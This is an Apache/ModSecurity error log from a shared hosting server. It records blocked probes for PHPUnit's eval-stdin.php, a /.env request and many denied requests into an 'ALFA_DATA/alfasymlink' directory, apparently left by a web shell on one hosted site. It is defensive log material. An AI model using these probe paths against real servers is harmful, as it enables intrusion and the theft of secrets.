[Sun Oct 25 12:29:27.385532 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CFwAAAEc"]
[Sun Oct 25 12:29:27.386249 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CFwAAAEc"]
[Sun Oct 25 12:29:27.386583 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CFwAAAEc"]
[Sun Oct 25 12:29:27.770427 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CGAAAAEc"]
[Sun Oct 25 12:29:27.770859 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CGAAAAEc"]
[Sun Oct 25 12:29:27.771249 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CGAAAAEc"]
[Sun Oct 25 12:29:28.144711 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uaJhqgnbPQM86Wt8CGQAAAEc"]
[Sun Oct 25 12:29:28.145301 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uaJhqgnbPQM86Wt8CGQAAAEc"]
[Sun Oct 25 12:29:28.145719 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uaJhqgnbPQM86Wt8CGQAAAEc"]
[Sun Oct 25 12:29:28.145814 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uaJhqgnbPQM86Wt8CGQAAAEc"]
[Sun Oct 25 12:29:28.145833 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uaJhqgnbPQM86Wt8CGQAAAEc"]
[Sun Oct 25 12:29:30.257985 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 34.224.132.215:29986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:29:38.194354 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 18.214.124.6:14744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:29:50.391135 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 3.231.193.38:1279] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:29:54.323458 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 3.94.40.182:43998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:30:14.191414 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 3.90.73.206:58611] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:30:22.178735 2026] [core:error] [pid 2862871:tid 2862871] (13)Permission denied: [client 44.214.19.8:41367] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty4/subsystem/ptmx/subsystem/ttyS1/device/tty/ttyS0/flags
[Sun Oct 25 12:30:33.233522 2026] [security2:error] [pid 2862845:tid 2862845] [client 43.130.116.87:51788] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at4uqVR7hiVQnPOARxKtfwAAAC4"]
[Sun Oct 25 12:30:36.292150 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 85.208.96.198:52926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/reclaim_account
[Sun Oct 25 12:30:38.185400 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 44.210.204.255:65005] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:30:42.182080 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 52.44.148.203:23134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:30:42.291460 2026] [security2:error] [pid 2862816:tid 2862816] [client 130.12.180.176:30932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4usnS4s6KZXoJ_WeAzQQAAABw"]
[Sun Oct 25 12:30:42.291739 2026] [security2:error] [pid 2862816:tid 2862816] [client 130.12.180.176:30932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4usnS4s6KZXoJ_WeAzQQAAABw"]
[Sun Oct 25 12:30:42.291938 2026] [security2:error] [pid 2862816:tid 2862816] [client 130.12.180.176:30932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4usnS4s6KZXoJ_WeAzQQAAABw"]
[Sun Oct 25 12:30:46.183116 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 18.215.77.19:29575] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:30:50.217757 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 54.197.114.76:55005] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:01.2/usb1/remove
[Sun Oct 25 12:31:02.351448 2026] [ssl:error] [pid 2862875:tid 2862875] (5)Input/output error: [client 34.197.28.78:50335] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:31:10.187119 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 44.207.69.106:16198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:31:28.168589 2026] [proxy_fcgi:error] [pid 2862871:tid 2862871] [client 93.140.253.31:6108] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 12:31:30.370083 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 44.205.74.196:10740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:31:42.226131 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 18.211.148.239:42832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:31:50.187369 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 3.213.106.226:20904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:31:58.175417 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 52.70.123.241:15152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/mice/subsystem/input0/device/driver/uevent
[Sun Oct 25 12:32:02.903049 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 185.191.171.17:60926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:32:10.197357 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 23.23.103.31:26084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:32:14.168879 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 44.212.232.231:36520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:32:18.196088 2026] [ssl:error] [pid 2862875:tid 2862875] (5)Input/output error: [client 100.29.107.38:6478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:32:26.174999 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 3.93.211.16:1985] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:32:34.228706 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 100.29.34.97:2844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:32:38.185666 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 34.227.234.246:50257] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/psmouse/unbind
[Sun Oct 25 12:32:42.518886 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 44.194.139.149:25910] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:32:50.232160 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 52.3.156.186:2420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/subsystem/uevent
[Sun Oct 25 12:33:02.294039 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.84.250.51:47194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:33:14.281650 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 44.223.193.255:63458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:33:14.281885 2026] [security2:error] [pid 2862816:tid 2862816] [client 44.223.193.255:63458] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/event1/device/id/vendor"] [unique_id "at4vSnS4s6KZXoJ_WeAzRwAAABw"]
[Sun Oct 25 12:33:14.281913 2026] [security2:error] [pid 2862816:tid 2862816] [client 44.223.193.255:63458] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/event1/device/id/vendor"] [unique_id "at4vSnS4s6KZXoJ_WeAzRwAAABw"]
[Sun Oct 25 12:33:18.291914 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.213.213.161:25791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:33:22.439156 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 34.236.41.241:53650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:33:38.362383 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 3.221.244.28:1444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:33:45.848794 2026] [security2:error] [pid 2862816:tid 2862816] [client 16.216.88.116:16384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/rpcdebug"] [unique_id "at4vaXS4s6KZXoJ_WeAzSAAAABw"]
[Sun Oct 25 12:33:45.848847 2026] [security2:error] [pid 2862816:tid 2862816] [client 16.216.88.116:16384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/rpcdebug"] [unique_id "at4vaXS4s6KZXoJ_WeAzSAAAABw"]
[Sun Oct 25 12:33:46.368713 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 44.223.232.55:52826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:33:47.496715 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 85.208.96.209:56456] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:33:50.607739 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 18.207.79.144:23459] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/exar_serial/unbind
[Sun Oct 25 12:33:57.638360 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 185.191.171.18:14514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/ctor
[Sun Oct 25 12:34:06.093311 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 85.208.96.197:61970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/shrink
[Sun Oct 25 12:34:14.474768 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 184.73.68.20:51248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/remove
[Sun Oct 25 12:34:18.638116 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 3.210.114.189:33240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:34:23.346685 2026] [core:error] [pid 2862816:tid 2862816] (13)Permission denied: [client 85.208.96.208:33928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/object_size
[Sun Oct 25 12:34:26.632585 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.197.178.107:32083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:34:30.595566 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 52.205.141.124:9399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:34:34.524816 2026] [core:error] [pid 2862875:tid 2862875] (13)Permission denied: [client 44.223.116.180:16908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/unbind
[Sun Oct 25 12:34:38.646754 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 23.23.213.182:54977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/resource4
[Sun Oct 25 12:34:46.687394 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 3.212.219.113:11009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:34:50.634945 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 52.2.58.41:60500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:34:54.344998 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 85.208.96.205:37270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/poison
[Sun Oct 25 12:35:06.798984 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.212.205.90:11239] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:35:14.732496 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 98.82.66.172:38567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:35:15.523882 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 85.208.96.201:49664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:35:16.688954 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 85.208.96.206:24218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:35:27.062895 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 52.201.155.215:21660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:35:27.948626 2026] [security2:error] [pid 2862820:tid 2862820] [client 85.208.96.210:14328] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/gettext-0.19.8/its/appdata.its"] [unique_id "at4vzyLDwW3Q383SSANntAAAACA"]
[Sun Oct 25 12:35:27.948666 2026] [security2:error] [pid 2862820:tid 2862820] [client 85.208.96.210:14328] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/gettext-0.19.8/its/appdata.its"] [unique_id "at4vzyLDwW3Q383SSANntAAAACA"]
[Sun Oct 25 12:35:30.913462 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 3.94.40.182:12670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource0
[Sun Oct 25 12:35:38.897234 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 54.243.63.52:27181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:35:46.840660 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.213.213.161:47970] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:35:50.702517 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 52.0.218.219:6737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:35:54.785593 2026] [core:error] [pid 2862875:tid 2862875] (13)Permission denied: [client 3.93.211.16:63920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:01/PNP0F13:00/subsystem/drivers/battery/unbind
[Sun Oct 25 12:35:58.965408 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 3.232.82.72:64113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:36:10.791703 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 3.226.106.93:24806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:36:18.907150 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 50.16.248.61:12068] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:36:26.837887 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 44.206.65.8:27933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:36:30.819016 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 3.227.180.70:14153] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:36:34.939702 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.204.81.148:20922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:36:42.833217 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 35.173.18.61:42421] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:36:51.240145 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 98.82.107.102:48240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/uevent
[Sun Oct 25 12:36:55.049116 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 35.171.117.160:17635] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:36:59.016191 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 3.211.181.86:11522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:37:02.997037 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 54.197.82.195:62673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:37:07.342157 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 98.82.59.253:28844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/remove
[Sun Oct 25 12:37:15.339590 2026] [core:error] [pid 2862806:tid 2862806] (13)Permission denied: [client 3.210.114.189:25812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:00/physical_node/remove
[Sun Oct 25 12:37:19.039464 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 34.234.197.175:41027] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:37:27.091671 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 34.194.95.99:13406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ata_piix/bind
[Sun Oct 25 12:37:30.485533 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 185.191.171.10:42338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/alloc_calls
[Sun Oct 25 12:37:35.071730 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 52.4.229.9:43275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:37:43.234756 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 52.204.174.139:57796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:37:51.294095 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 44.193.115.232:5221] AH02013: coalesce failed to read from data bucket
